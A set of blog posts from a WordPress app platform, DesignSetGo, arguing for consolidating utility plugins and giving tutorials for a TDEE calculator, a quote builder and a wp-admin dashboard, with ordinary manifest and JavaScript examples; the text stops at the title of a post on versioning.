- A snippet plugin (because pasting one tracking script eight months ago was easier than learning the theme).

- A custom CSS plugin (because the theme’s customizer was too slow).

- A header/footer scripts plugin (because the snippet plugin was for PHP and this one is for JS).

- And, ten months later, four more that no one remembers installing.

The site loads fine. It also has 26 plugins active. Each one is its own admin page, its own update channel, its own author with their own monetization model and their own security posture, its own little chunk of CSS and JS, and its own *very small* chance of breaking the site when it updates.

This post is about the structural argument for why those small bespoke utilities should be one DesignSetGo App instead of N plugins.

The argument is not “all plugins are bad.” The argument is that the plugins in this category, the small custom utilities the site owner installed because they needed a thing, are exactly the wrong shape for what they are.

#### The category problem

WordPress’s plugin model is great for *general-purpose* extensions. WooCommerce is a great plugin. Yoast SEO is a great plugin. WP Rocket is a great plugin. These do significant work that is the same across millions of sites, and they justify the plugin shape: a full PHP install, deep WordPress integration, an update channel, a brand.

The plugin model is *wrong* for custom utility code. The TDEE calculator on a fitness coach’s site does not need to be a plugin. The mortgage calculator on a real-estate agent’s site does not need to be a plugin. The “show me my latest 5 Instagram posts” widget does not need to be a plugin. None of these need PHP, none of them have generality, none of them have an update channel beyond “the site owner asked Claude to tweak it.”

But the only model WordPress offered for these things until recently was *plugin*. So everything became a plugin. And the small custom utilities the site owner cobbled together became 20 of them, each one a PHP file in `wp-content/plugins/`.

The structural mismatch shows up as the plugin pile-on.

#### The five plugins one app can replace (a real example)

I went through the plugin list on three small WordPress sites I help maintain and pulled out the categories that overlapped most. These five almost always coexist:

**1. A form-builder plugin** for the contact form. Sometimes Contact Form 7, sometimes WPForms, sometimes Gravity. Usually doing one form.

**2. A calculator plugin** for a custom math widget on a landing page. Calculated Fields Form, Formidable, or whatever was at the top of the search results the day they installed it.

**3. A snippet plugin** like WPCode or Code Snippets, holding two or three small JS/PHP modifications.

**4. A custom CSS plugin** for the design tweaks that did not fit in the theme customizer.

**5. A header/footer scripts plugin** for the Google Analytics snippet, the Facebook Pixel, and the Hotjar tag.

All five exist because the site owner needed something the theme did not provide and the plugin directory was the only place to look. None of these are doing the work that justifies being a plugin. They are utility code that happens to be packaged as plugins because there was no other shape available.

A single DesignSetGo App can subsume the *custom* parts of all five:

- The contact form can be a DesignSetGo App with `dsgo.email.send()`. (For genuinely complex forms with payment integration, keep the form plugin; for the simple “name, email, message” case, the app version is one bundle.)

- The calculator is exactly what DesignSetGo Apps were built for. The math is JavaScript; the UI is yours.

- The snippet plugin’s JS modifications belong inside a DesignSetGo App, sandboxed, with declared permissions.

- The custom CSS belongs in the theme or in the app’s own bundle, not in a separate plugin.

- The header/footer scripts are best served by a tag manager (GTM) or, if you want them sandboxed, an app that registers them via `dsgo.dom.head.append()`.

You go from five plugins to one app and one or zero new plugins. The plugin row count drops. The admin surface area drops. The update fan-out drops.

#### What you actually gain

This is not just an aesthetic argument. There are four concrete things you gain.

**Fewer admin pages.** A WordPress admin with 30 active plugins has 30+ admin menu items. A site owner who is not a power user gets lost in the menu. An admin with 10 active plugins is a different experience.

**Fewer update notifications.** Every active plugin checks for updates. Every update notification is a UI interruption and a small risk of accidentally clicking “update all” and breaking something. Cutting the active plugin count cuts the update churn.

**Less security exposure.** Every plugin is code that runs with full WordPress privileges. The supply-chain risk on a plugin (the author getting hacked, the plugin being sold to a less reputable maintainer, the plugin shipping a tracker in an update) scales with how many plugins you have. A DesignSetGo App is sandboxed and runs without PHP privileges. Fewer plugins, smaller blast radius.

**Less coupling between unrelated tools.** A bad CSS rule in one plugin can leak into another. A JS error in one snippet can break the dashboard another snippet relies on. Each app is its own bundle and cannot affect another app’s runtime. You stop debugging plugin conflicts.

#### What you give up

This is the part the argument has to be honest about.

You give up the “find a plugin in the directory that does the thing” path. The TDEE calculator, the recipe filter, the mortgage calculator: they are not in the directory as DesignSetGo apps yet. You have to build them (or have Claude build them) instead of installing them.

For most P1 site owners reading this, that is a real cost. “I would rather install a plugin than vibe-code an app” is a defensible position, and it is why the [HTML upload importer](/blog/the-five-minute-i-have-an-html-file-path/) and the [Claude artifact drop flow](/blog/drop-a-claude-artifact-onto-your-wordpress-site/) exist: they collapse the “build” step into “download an HTML file” or “type a prompt.” The path is one step longer than installing a plugin and one step shorter than building a real plugin.

You also give up some plugins’ legitimate features. Gravity Forms has 12 years of edge cases ([covered in detail Thursday](/blog/gravity-forms-vs-designsetgo-quote-builder/)). Calculated Fields Form has its own form-builder UI that non-coders prefer. If your need maps to those features cleanly, the plugin is still the right answer.

The shorter version: replace plugins where the plugin shape is overkill for the need. Keep them where the plugin shape is exactly right.

#### The criterion in one question

The question I use:

> “If I built this thing fresh today, would I make it a full WordPress plugin with its own author identity and update channel? Or would I make it a small JavaScript bundle scoped to this one site?”

If the answer is “a small JavaScript bundle,” it should be a DesignSetGo App.

If the answer is “a full plugin with its own author identity,” it should stay a plugin.

Most of the small utilities in the plugin pile-on are the first answer. They became plugins because that was the only shape available. They do not have to anymore.

#### What this does not mean

It does not mean every WordPress site should have one DesignSetGo App and no other plugins. The site I am writing this on has DesignSetGo Apps and 14 other plugins. WooCommerce is one of them. So is a backup plugin. So is a caching plugin. So is a security plugin. None of those should be DesignSetGo Apps; they are infrastructure that justifies the plugin shape.

What it means: the *custom utility* category, which used to be a plugin because nothing else worked, now has a better-fitting shape. Use the better-fitting shape for that category. Leave the infrastructure plugins alone.

#### Further reading

- [Snippet plugins are the wrong home for AI-generated code](/blog/snippet-plugins-are-the-wrong-home-for-ai-generated-code/): the security version of this argument, focused on snippet plugins specifically.

- [The WordPress plugin I do not want to build anymore](/blog/the-wordpress-plugin-i-do-not-want-to-build-anymore/): the founder-voice version, from the developer side.

- [WordPress as a runtime](/blog/wordpress-as-a-runtime/): the underlying mental model.

### A fitness coach’s TDEE calculator, vibe-coded in 20 minutes

URL: https://designsetgo.dev/blog/tdee-calculator-fitness-vertical/
Published: 2026-06-07 · Nealey

If you coach fitness for a living and you have a WordPress site, you have probably searched for “WordPress TDEE calculator.” There are three or four plugins that show up. They all work. They all also have the same three problems: someone else’s branding, someone else’s input vocabulary (cm vs inches, kg vs lbs, “activity level” labeled in someone else’s words), and someone else’s CTA at the bottom (often a link to their tool, not yours).

A custom TDEE calculator used to be a “hire a developer for a week” job. It is now a 20-minute job, and the result is *yours*. Your colors, your wording, your CTA, your funnel.

This post walks the whole thing. Skim it in three minutes; if you have a coaching site, follow it for the other 17.

#### What TDEE is, in case you want the math right

Total Daily Energy Expenditure. The number of calories a body burns in a day. Used by trainers as the baseline against which you set a deficit (for weight loss) or a surplus (for muscle gain).

The most common formula is Mifflin-St Jeor for BMR, multiplied by an activity factor:

```
BMR (men)   = 10 * weight_kg + 6.25 * height_cm - 5 * age + 5
BMR (women) = 10 * weight_kg + 6.25 * height_cm - 5 * age - 161
TDEE        = BMR * activity_factor
```

Activity factors:

- Sedentary (little/no exercise): 1.2

- Lightly active (1-3 days/week): 1.375

- Moderately active (3-5 days/week): 1.55

- Very active (6-7 days/week): 1.725

- Athlete (2x daily): 1.9

If you want a different formula (Katch-McArdle if the user knows their body fat, Harris-Benedict if you prefer the older standard), swap it in. The runtime does not care.

#### Step 1: scaffold the app

```
npx designsetgo apps init tdee-calc
cd tdee-calc
```

Open the folder in Claude Code or Cursor. The starter ships a `CLAUDE.md` so the agent already knows about the bridge and the manifest.

Prompt:

> Build a TDEE calculator. Inputs: sex (radio: male/female), age (number, 16-90), height (input with cm/in toggle), weight (input with kg/lb toggle), activity level (radio with 5 options: sedentary, lightly active, moderately active, very active, athlete). Show the calculated TDEE in large text. Below it, three derived targets: weight loss (-500 cal), maintenance (TDEE), muscle gain (+300 cal). Use Mifflin-St Jeor for BMR. Style it to look like a modern fitness coaching site: dark background, accent color #FF6B35, big readable numbers, mobile-first. Below the results, a CTA section: “Want a personalized plan? Book a free consult.” linking to /book.

Claude Code writes the bundle. Roughly 80 lines of HTML + JavaScript + a stylesheet. The math is straightforward; the UI takes most of the lines.

#### Step 2: the manifest

```
{
  "manifest_version": 1,
  "id": "tdee-calc",
  "name": "TDEE Calculator",
  "version": "0.1.0",
  "entry": "index.html",
  "display": { "modes": ["block", "page"], "default": "block" },
  "permissions": { "read": [], "write": [] },
  "runtime": { "sandbox": "strict", "external_origins": [] }
}
```

Nothing in `permissions.read`. The calculator does not read WordPress data; it just does math on the inputs. The bridge is still loaded (it always is), but there is nothing to ask for.

If you want to *save* the calculated TDEE for logged-in users (so they can come back and see it later, or so you can email them about it), add `permissions.read: ["user"]` and use `dsgo.storage.user.set('tdee_result', { tdee, target })`. The [per-app, per-user storage post](/blog/per-app-per-user-storage/) walks that pattern in detail.

#### Step 3: deploy

```
npx designsetgo apps deploy
```

App live at `/apps/tdee-calc/`.

#### Step 4: drop it into the right page

Open the page on your coaching site where TDEE comes up. Probably your “Start Here” page, or your “Online Coaching” service page, or a blog post about cutting/bulking. Click the **+** in the Gutenberg editor. Search for “TDEE.” Your calculator shows up. Click it. The calculator renders inline.

Save the page. Visit it. The calculator is part of the page, in your colors, with your CTA, surrounded by your own copy that frames it. The visitor types in their numbers, sees their TDEE, sees the three target numbers, sees your CTA, clicks the CTA.

That is the entire funnel: page → calculator → result → CTA. No external SaaS, no third-party branding, no “calculator powered by SomeOtherFitnessSite.com” footer line eating your conversion.

#### What this beats

Three named alternatives, by category.

**Generic WordPress TDEE plugins.** The free ones embed someone else’s branding. The paid ones cost $30-$60 and still feel like a generic widget. None of them let you change the input vocabulary or the CTA structure without overriding their CSS.

**Iframed external calculators** (tdeecalculator.net embedded in a page). Free, works, gives the third party your traffic and ad impressions. The visitor sees an external domain in any tooltip. Your branding is gone.

**Calculated Fields Form** ([covered in detail last week](/blog/calculated-fields-form-vs-designsetgo-app/)). Works, but the UI is form-shaped, not the interactive numeric experience a TDEE calculator should be. The CTA layout is constrained by what CFF supports inside a form.

What you get from the DesignSetGo version that none of them offer:

- Inputs labeled in your own voice (“How many days a week do you train hard?” rather than “Activity level”).

- A visual breakdown sized to your design system.

- The ability to integrate with your booking flow: pre-fill the consult form with the calculated TDEE.

- One bundle to maintain, no third-party plugin author to depend on.

#### The optional upgrades

Once you have the calculator working, three small additions take it from “useful” to “actually drives bookings.”

**Save the result for the user.** Add `permissions.read: ["user"]`. Call `dsgo.storage.user.set('tdee', result)` after calculating. When a logged-in user comes back, pre-fill the form with their saved values and show their previous result above the calculator. Returning visitors love this; new ones do not see it.

**Pre-fill the booking form.** When the user clicks “Book a free consult,” append the TDEE and goal as URL parameters to your booking page. The consult form can read those and display them in the booking confirmation: “Coach, this person has a TDEE of 2,400 and is goal-cutting.” Your conversion conversation starts in a different place.

**Pair it with the AI bridge.** If you have a Connector set up on the site, use `dsgo.ai.prompt()` to generate a 3-line personalized response under the calculator: “At a 500-calorie deficit, you would lose about a pound a week. That is a moderate pace and sustainable; here are three things to track…” The AI response is generated server-side, free for the user, and it makes the calculator feel like the start of a coaching conversation rather than a button-press.

The optional upgrades take another 15 to 30 minutes each. Bundle them after the basic version is in production for a couple of weeks and you have a sense of where visitors drop off.

#### Where this goes

A complete fitness coaching site eventually has half a dozen calculators. TDEE is the wedge. The others: a one-rep-max calculator, a macro-split planner, a body-fat percentage estimator from measurements, a hydration calculator, a deload-week scheduler. Each one is the same pattern: scaffold, prompt, deploy, embed.

The deeper version is a [fitness vertical pack](https://github.com/DesignSetGo/designsetgo-apps/blob/main/docs/vertical-pack-vibe-coding-adoption-2026-05-16.md): all six calculators as one bundle, installable in one click, configurable per-coach. That is the agency play. The wedge is shipping the TDEE one this afternoon.

#### Further reading

- [How to add a mortgage calculator to a real-estate WordPress site](/blog/mortgage-calculator-real-estate-wordpress/): same pattern, different vertical.

- [Build a quote calculator your client can drop into a sales page](/blog/build-a-quote-calculator/): the agency-facing version.

- [examples/quicktool](/examples/): the example bundle the above is sketched from.

### The week DesignSetGo started reading your custom post types

URL: https://designsetgo.dev/blog/the-week-designsetgo-started-reading-your-cpts/
Published: 2026-06-06 · Nealey

Short post. Shipped this week.

Until this release, `dsgo.posts.list()` defaulted to the standard `post` post type. Custom post types worked if you passed `type` explicitly, but only for CPTs registered with `show_in_rest: true` and only after a manifest opt-in for each type. It worked. It was also more friction than the rest of the bridge surface, and it was the thing I got the most questions about in the [Anthropic Discord](https://www.anthropic.com/discord) and on X over the last month.

This week the bridge picks up custom post types automatically, declares them in the install dialog, and turns them into first-class data the way `post` and `page` already were.

#### How to read a custom post type in a WordPress app

If you landed here from a search like *read CPT in WordPress app* or *how do I build an app that reads my WordPress custom post types*: in a DesignSetGo App, you call `dsgo.posts.list({ type: 'your_cpt_slug' })` after declaring `read: ['posts']` in `dsgo-app.json`. The bridge enumerates whatever CPTs the site has registered with `show_in_rest: true` (WooCommerce `product`, LearnDash `sfwd-courses`, IDX `listing`, ACF-registered types, theme CPTs) and surfaces them in the install dialog so the site owner can see what your app is reading. No second permission grant, no per-type manifest opt-in, no REST URL plumbing in your app code.

The rest of this post is the release-note version: what changed in the runtime to make that work, what the install dialog looks like now on a commerce-heavy site, and how to opt out if you want to pin your app to standard posts only.

#### What changed

`dsgo.posts.list({ type: 'listing' })` now works without any manifest changes beyond the standard `read: ['posts']` permission. The bridge enumerates the site’s registered post types at install time, surfaces them in the permission dialog (“This app wants to read: posts, pages, listings, courses”), and routes the bridge call through whichever WordPress REST endpoint serves that type.

Three concrete capabilities you have now that you did not before:

**One.** Read any CPT the site has registered with `show_in_rest: true`. WooCommerce products, EDD downloads, LearnDash courses, custom theme post types, IDX real-estate listings, ACF-registered “team_member” types.

```
const products = await dsgo.posts.list({ type: 'product' });
const courses  = await dsgo.posts.list({ type: 'sfwd-courses' }); // LearnDash
const listings = await dsgo.posts.list({ type: 'listing' });
```

**Two.** Read custom taxonomies attached to those CPTs.

```
const ingredients = await dsgo.taxonomy.terms({ taxonomy: 'ingredient' });
const propertyTypes = await dsgo.taxonomy.terms({ taxonomy: 'property_type' });
```

If the taxonomy is registered with `show_in_rest: true`, the bridge sees it.

**Three.** Read CPTs as embeds in a post-context call.

```
const ctx = await dsgo.context.post();
if (ctx?.type === 'listing') {
  // we're embedded inside a listing post
  const price = ctx.meta.price;
}
```

The post-context surface used to only return data for standard posts and pages. Now it returns the type and meta for any CPT the parent is.

#### What you have to do to get this

Probably nothing.

If your app already has `permissions.read: ["posts"]` in the manifest and the site’s CPTs are REST-registered (most modern plugins do this; legacy ones may not), the new behavior is on by default after the runtime update.

The install dialog will be more verbose for sites with lots of CPTs. The plain-English summary changed from “This app wants to read: posts” to “This app wants to read: posts (including: products, courses, listings)” when the bridge can enumerate them. That is a UX change worth being aware of: the dialog is now longer on commerce-heavy and education-heavy sites. We considered hiding the enumeration behind a “show details” link and decided against it. The list is the consent.

If you want to restrict your app to *just* standard posts and not pick up new CPTs that the site adds later, you can pin the type list in your manifest:

```
"permissions": {
  "read": [{ "posts": { "types": ["post", "page"] } }]
}
```

That is opt-out, not opt-in. The default is “read everything `posts` covers.”

#### What this unlocks

The two tutorials that depended on this behavior:

[Reading your WordPress taxonomy from an app](/blog/reading-wordpress-taxonomy-from-an-app/) was waiting on this. It now ships next week as planned.

[Build a course-catalog app that pulls from a custom post type](/blog/course-catalog-app-from-custom-post-type/) was also waiting on this. It is now feasible without the workaround we were going to document.

The third thing this unlocks is the real-estate listings vertical, which now lets you build the listings browser directly against the IDX plugin’s `listing` CPT without the data-import shim we had written for the [June 13 tutorial](/blog/real-estate-listings-browser-inline-mode/).

#### What I am proud of

Two small things.

The enumeration happens at install time and the result is cached in the manifest’s resolved permissions. The bridge does not call WordPress for the type list on every request. The runtime stays fast on commerce sites with 40 CPTs.

The install dialog rewrite was a Riff session that took 30 minutes. The harness’s pre-shipped Riff workflow generated three variants of the dialog copy and the bucket-renderer tests caught a regression on the first variant. The [permission buckets post](/blog/permission-buckets-the-install-dialog-that-doesnt-lie/) explains why this matters; the practical version is that even small copy changes to the install dialog go through the harness now, and the dialog has stayed honest as a result.

#### What I am not yet proud of

Two known issues. Both are tracked.

**WooCommerce products are heavier than they need to be.** A `dsgo.posts.list({ type: 'product' })` returns the full product object including variants, attributes, images, and meta. For a list view you usually only want title + price + featured image. The `fields` parameter (`?_fields=...`) works as a workaround. A `dsgo.commerce.products.list()` with a default lean shape is the right answer and will land in the next release.

**Per-CPT capability mapping is loose.** The bridge returns posts the user can read; that is correct. But for CPTs with custom capabilities (`view_listing`, `manage_courses`), the capability mapping is whatever the CPT registered, which is sometimes nothing useful. If your CPT does not declare its own caps, `dsgo.user.can('edit_listing', id)` falls back to the standard `edit_post` capability. This is a WordPress idiom, not a bridge limitation, but it can surprise the first time you hit it.

#### The shorter version

CPTs are now first-class in the bridge. `dsgo.posts.list({ type: 'whatever' })` works. The install dialog lists the types your app will read. No manifest changes for most apps.

If something does not work the way this post describes, tell me.

#### Further reading

- [BRIDGE-API.md §posts](/docs/#bridge): the updated method docs.

- [WordPress REST API for custom post types](https://developer.wordpress.org/rest-api/extending-the-rest-api/adding-rest-api-support-for-custom-content-types/): the canonical reference for `show_in_rest`.

- [The bridge cookbook](/blog/the-bridge-cookbook-ten-patterns/): updated with two new CPT patterns.

### Gravity Forms vs a DesignSetGo App for a custom quote builder

URL: https://designsetgo.dev/blog/gravity-forms-vs-designsetgo-quote-builder/
Published: 2026-06-05 · Nealey

Gravity Forms is the WordPress form-builder most agencies install by default. It is mature, it is well-supported, the developer license pays for itself the first time a client asks for a 12-field intake form. For ordinary forms it is the right answer and this post is not going to argue otherwise.

For *quote builders* with branching logic, custom math, and per-line pricing breakdowns, the calculus changes. Gravity gets you most of the way and the last 20% is expensive in three currencies: licensing, click-effort, and future-you’s patience.

Here is the honest comparison, walked through a worked example: a service quote builder for a small home-services business. Roof cleaning, gutter clearing, pressure washing, with pricing that depends on house size, story count, and whether the customer needs evening scheduling.

#### The two approaches in one paragraph each

**Gravity Forms.** Drag fields into the form builder. Use Conditional Logic to show/hide fields based on earlier answers. Use the Pricing Fields add-on (Pro tier) for product and price calculations. Use the Quiz add-on for scoring if you want to score the answers. Pipe the result into an email and (optionally) store it in the database. License: $59 to $259/year depending on tier. UI: wp-admin.

**DesignSetGo App.** Scaffold with `npx designsetgo apps init`. Vibe-code the quote builder in Claude Code or Cursor with a prompt that describes the inputs, the branching, the pricing model, and the output format. Wire `dsgo.email.send()` for the submission. Manifest. Deploy. License: free for the runtime; Pro for `dsgo.email.send()` and the harness. UI: whatever you build.

Both produce a working quote builder. They do not produce the same thing.

#### Worked example: the service quote builder

The brief: a home-services business with three service types (roof cleaning, gutter clearing, pressure washing). Pricing depends on:

- House size (sqft, range slider).

- Story count (1, 2, or 3).

- Service type (one or more, with bundle discounts).

- Add-on: solar panel cleaning.

- Add-on: evening scheduling (15% surcharge).

- Result: an itemized quote with per-line totals, a discount line, and a “send to my email” button.

##### The Gravity version

Roughly the steps:

- Create a new form.

- Add a “House size” slider field (Pro add-on or a number field with min/max).

- Add a “Story count” radio field with three options.

- Add a “Service type” checkbox field with three options.

- Add an “Add-ons” checkbox field with two options.

- For each service, add a *product field* with a calculated price. Tie the calculation to the sqft and story fields via `{:field_id}` formula syntax.

- Add a *total field* that sums the product fields with discount logic. The discount logic is a series of conditional total adjustments.

- Add conditional visibility so the add-ons only appear when relevant.

- Style the form. This is mostly CSS overrides against Gravity’s class names.

- Configure email notifications with the calculated total in the merge tags.

What this gives you: a working form. What it costs:

- ~$159/year for the Elite license (you’ll want the Pricing fields and Conditional Logic without surprises).

- Three to five hours of fiddling with the Conditional Logic tab. (The interface is fine. It is also a place where complex branching becomes a maintenance burden.)

- A form that looks like a Gravity form. You can override CSS, but you are styling against an existing layout.

- A form whose math is in the form builder. The next developer to touch it has to learn Gravity’s calculation syntax to understand it.

##### The DesignSetGo version

```
npx designsetgo apps init quote-builder
cd quote-builder
```

Open in Claude Code. Prompt:

> Build a quote builder for a home services company. Three service types (roof cleaning, gutter clearing, pressure washing) shown as cards the user can click to select one or more. A house-size slider (500 to 5000 sqft). A story-count selector (1, 2, 3). Two add-on toggles: solar panel cleaning, evening scheduling. Calculate price per service: roof cleaning = $0.10 per sqft, gutter clearing = $0.05 per linear foot estimated as sqft / 50, pressure washing = $0.08 per sqft. Story count multiplier: 1x, 1.5x, 2.2x. Bundle discount: 10% off two services, 18% off three. Add-ons: solar +15% of total, evening +15% of total. Show an itemized breakdown with per-line totals. Bottom button: “Email this quote to me” with an email input. On submit, call dsgo.email.send with the breakdown. Style it to look like a clean home-services site, white and forest green, sans-serif, big touch targets.

Claude Code writes the bundle. The math is in JavaScript. The UI is React or vanilla HTML, whichever the agent chose. The styling is in your colors.

Manifest:

```
{
  "manifest_version": 1,
  "id": "quote-builder",
  "name": "Service quote builder",
  "version": "0.1.0",
  "entry": "index.html",
  "display": { "modes": ["block", "page"], "default": "block" },
  "permissions": {
    "read": [],
    "send": ["email"]
  },
  "runtime": { "sandbox": "strict", "external_origins": [] }
}
```

Deploy:

```
npx designsetgo apps deploy
```

What this gives you: a working quote builder. What it costs:

- The DesignSetGo Pro tier (currently $99/year) for `dsgo.email.send()`. Free if the email submission can be a `mailto:` link instead.

- About 20 minutes the first time, including the prompt and one or two iterations to get the visual styling right.

- A quote builder that looks like *your client’s brand*, because Claude styled it from a one-line prompt instead of you overriding Gravity’s CSS.

- Math that lives in plain JavaScript in your repo, that the next developer can read without learning Gravity’s calculation syntax.

#### What Gravity is better at

Three things, and they are not small.

**Form submission as a data pipeline.** Gravity stores submissions, has a built-in entries view, exports CSV, integrates with every CRM under the sun via its add-ons. If your form is fundamentally a data-capture event with an email confirmation, Gravity has spent twelve years making that flow correct.

**Built-in deliverability.** Gravity’s email sending has thoughtful retry logic, SMTP integration, the [Notifications](https://docs.gravityforms.com/notifications/) screen, the conditional notification logic. `dsgo.email.send()` inherits the site’s SMTP plugin (because it routes through `wp_mail`), but the *configuration* of email per-form is Gravity territory.

**Non-coder maintainability.** A marketing manager can change a field label or add a question in Gravity without ever writing a prompt. They cannot do that in a DesignSetGo App without re-running the build.

**12 years of edge cases.** Phone validation per locale, address autocomplete, signature capture, file uploads with size limits, GDPR consent fields, partial entry saves. Gravity has implemented every one. A DesignSetGo App has whatever Claude wrote that morning.

#### What DesignSetGo is better at

Three things, also not small.

**Visual flexibility.** Sliders, swatches, drag-and-drop, image-grid pickers, custom canvases, interactive maps, branded layouts. Gravity’s UI primitives are form fields. A DesignSetGo App’s UI primitive is “an HTML page Claude wrote.”

**Pricing math that reads from your site.** Want the quote to incorporate the customer’s saved address from their WordPress account? `dsgo.user.current()`. Want it to look up service availability from a custom post type? `dsgo.posts.list({ type: 'service' })`. Gravity does not see WordPress; it sees its own form database.

**Branching logic that does not live in a tab.** Branching in Gravity is a UI affordance and works fine for two or three rules. At ten rules it becomes hard to read and harder to debug. A DesignSetGo App’s branching is JavaScript, version-controlled, diff-able, and unit-testable.

#### How to decide

The honest version, the way I would tell an agency client.

**If it is fundamentally a form with math at the end:** Gravity. Or WPForms. Or Fluent. Any of the mature form-builders. Stop reading.

**If it is fundamentally a configurator that produces a quote:** DesignSetGo. The configurator UI is the whole experience; the quote is the byproduct. The form-builders are the wrong shape because they default to a stack-of-fields layout.

**If it is both:** use both. The DesignSetGo App is the configurator; on submit it pre-fills a Gravity form via the URL query string for the actual capture event. The configurator owns the experience; Gravity owns the data pipeline. This is the pattern [Calculated Fields Form vs DesignSetGo](/blog/calculated-fields-form-vs-designsetgo-app/) covers in more detail.

#### The shorter version

Gravity Forms is the right answer when the form is the thing. A DesignSetGo App is the right answer when the *experience* is the thing and the form is a byproduct. Both are real categories. The mistake is using a hammer for a screw.

#### Further reading

- [Calculated Fields Form vs a DesignSetGo App](/blog/calculated-fields-form-vs-designsetgo-app/): the same argument, applied to the simpler calculator case.

- [Build a quote calculator your client can drop into a sales page](/blog/build-a-quote-calculator/): the tutorial for the DesignSetGo version.

- [examples/service-quote-builder](/examples/): a working bundle of roughly the example above.

### Give a client a dashboard inside wp-admin without writing a plugin

URL: https://designsetgo.dev/blog/client-dashboard-inside-wp-admin/
Published: 2026-06-04 · Nealey

Most WordPress agencies eventually build a custom admin page. The client wants a “Status” tab in wp-admin. Or a project dashboard the agency uses while logged in as itself. Or a settings page for a custom feature that does not fit the standard plugin settings pattern.

The historical answer is a PHP plugin. You write `add_menu_page` or `add_submenu_page`, you templated a `.php` file, you wrote enqueue calls for your CSS and JavaScript, and you signed up for the maintenance burden of a plugin you now own.

The DesignSetGo answer is one line in the manifest:

```
"display": { "modes": ["admin"] }
```

That is the whole admin-page integration. The app you already know how to build now also renders as a wp-admin submenu page. Same bundle, different host, same bridge.

This tutorial walks the flow. What `admin` mode looks like, how the bridge behaves inside the admin, and a 10-line agency-dashboard example you can ship today.

#### What `admin` mode actually does

When `dsgo-app.json` includes `admin` in `display.modes`, the runtime adds a submenu page under **DesignSetGo Apps** in wp-admin with the app’s display name. Clicking it renders your app inside an iframe (or inline, depending on `isolation`), inside the wp-admin chrome.

The chrome is real wp-admin: the admin bar at top, the menu on the left, the screen options and help tabs. Your app fills the content area. The user sees a normal WordPress admin page; you ship a static bundle.

You can also pin the page to a top-level admin menu if you want it more prominent:

```
"display": {
  "modes": ["admin"],
  "admin": {
    "menu": "top-level",
    "icon": "dashicons-portfolio",
    "position": 25
  }
}
```

The icon comes from the [Dashicons](https://developer.wordpress.org/resource/dashicons/) set. The position is the standard WordPress admin menu ordering integer (5 is Posts, 25 is Comments, 70 is Users, etc.).

If you list multiple display modes (`["block", "page", "admin"]`), the app supports all three from one bundle. The admin menu entry appears for every installed app that includes admin mode, regardless of whether the same app also renders in posts or at `/apps/{slug}`.

#### The bridge behaves differently in admin

When your app runs in admin mode, four things are different from public-facing apps. They are differences your code should know about.

**The visitor is always logged in.** `dsgo.user.current()` always returns a user. No need to handle the “logged out” branch. If a logged-out person tries to load the admin page, WordPress redirects them to the login screen before your bundle even loads.

**The visitor is, by default, a privileged user.** They got to wp-admin. They have at least the `read` capability. Most apps in admin will be gated to `edit_posts` or `manage_options` because they should only be visible to staff. The runtime does not enforce this for you; you should add a capability check at the top of your app or use the manifest’s `admin.required_capability` field:

```
"display": {
  "modes": ["admin"],
  "admin": { "required_capability": "manage_options" }
}
```

If you set that, the menu item only appears for users with the capability, and a direct URL visit redirects to wp-admin’s “you do not have permission” page.

**Storage scopes are still per-app and per-user.** `dsgo.storage.user.set(...)` in the admin saves under the WordPress user viewing the page, scoped to your app. The admin and the public surface of the same app share storage (they are the same app), but two different apps cannot see each other’s storage.

**The bridge can read everything the user can read.** Admin users typically have broader visibility. Drafts, private posts, other users’ posts. Your `dsgo.posts.list()` calls return more results in the admin than they would on the public site for the same query, because the underlying WordPress query honors the visitor’s capabilities.

#### The 10-line agency dashboard

Here is a working example. An agency dashboard that lists the projects (custom post type `project`) for the logged-in user (the agency staff member), with a quick “open in client portal” link for each:

```
<!doctype html>
<html>
<head><meta charset="utf-8"><title>Projects</title></head>
<body>
<h1>Your projects</h1>
<ul id="projects"></ul>
<script type="module">
  import { dsgo } from '@designsetgo/app-client';
  await dsgo.ready;

  const me = await dsgo.user.current();
  const projects = await dsgo.posts.list({
    type: 'project',
    author: me.id,
    per_page: 20,
    orderby: 'modified',
    order: 'desc',
  });

  const ul = document.getElementById('projects');
  for (const p of projects) {
    const li = document.createElement('li');
    li.innerHTML = `<a href="${p.link}">${p.title.rendered}</a> (${p.status})`;
    ul.appendChild(li);
  }
</script>
</body>
</html>
```

Manifest:

```
{
  "manifest_version": 1,
  "id": "agency-projects",
  "name": "Projects",
  "version": "0.1.0",
  "entry": "index.html",
  "display": {
    "modes": ["admin"],
    "admin": {
      "menu": "top-level",
      "icon": "dashicons-portfolio",
      "required_capability": "edit_posts"
    }
  },
  "permissions": { "read": ["posts", "user"], "write": [] },
  "runtime": { "sandbox": "strict", "external_origins": [] }
}
```

Deploy:

```
npx designsetgo apps deploy
```

Log into wp-admin. There is a “Projects” item in the top-level admin menu. Click it. Your agency dashboard renders inside wp-admin, listing the projects you authored, sorted by most recently edited.

A real agency dashboard would have more: a search box, status filters, the ability to filter by client, links to the client portal for each project. All of it is HTML and bridge calls. None of it is a PHP plugin.

#### When you want admin mode and when you do not

**Use admin mode for:**

- Internal tools for the site’s staff (project dashboards, content workflows, batch utilities).

- Settings UIs for an app that needs a “config” surface separate from its user-facing surface.

- Agency-built dashboards the client logs in to manage their own project.

- Anything that should not be reachable from the public-facing site.

**Do not use admin mode for:**

- Anything the public visitor should see. Use `page` or `block` mode for those.

- Apps that need to be discoverable through site search.

- Apps that should be indexable by Google.

The mental model: admin mode is for people who are *already* in wp-admin and do not want to leave. Public mode is for visitors who never see wp-admin at all.

#### What you stop having to build

If you have ever built a custom WordPress admin page in PHP, you know the litany:

- A plugin scaffold with the headers WordPress reads.

- An `add_menu_page` or `add_submenu_page` call.

- A `wp_enqueue_script` and `wp_enqueue_style` call for every asset you want to load.

- A `wp_localize_script` call to pass server-side data into the page (and the security review on what you are passing).

- A nonce verification on every form post.

- A capability check at the top of the rendering function.

- A version-bumping habit so cached assets get reloaded after you change something.

None of that is in your DesignSetGo App. The bundle is the bundle. The manifest is the manifest. The bridge handles auth and data. There is no PHP for you to ship, no plugin to register, no version-bumping headache.

You also stop paying the plugin-author tax: a row in the plugin list the client can deactivate by accident, an update channel you have to maintain, a WordPress.org listing or a Freemius integration. The bundle is just files in the uploads directory.

#### Further reading

- [The agency client portal, in one weekend](/blog/the-agency-client-portal-in-one-weekend/): the consumer-facing complement to this admin tutorial.

- [Build an agency client dashboard once and ship it to every WordPress site](/blog/build-an-agency-client-dashboard/): the multi-site deploy version.

- [MANIFEST.md `#display`](/docs/#manifest): the full manifest reference for display modes.

### Versioning and rollback: what happens when an app update breaks

URL: https://designsetgo.dev/blog/versioning-and-rollback/
Published: 2026-06-03 · Nealey

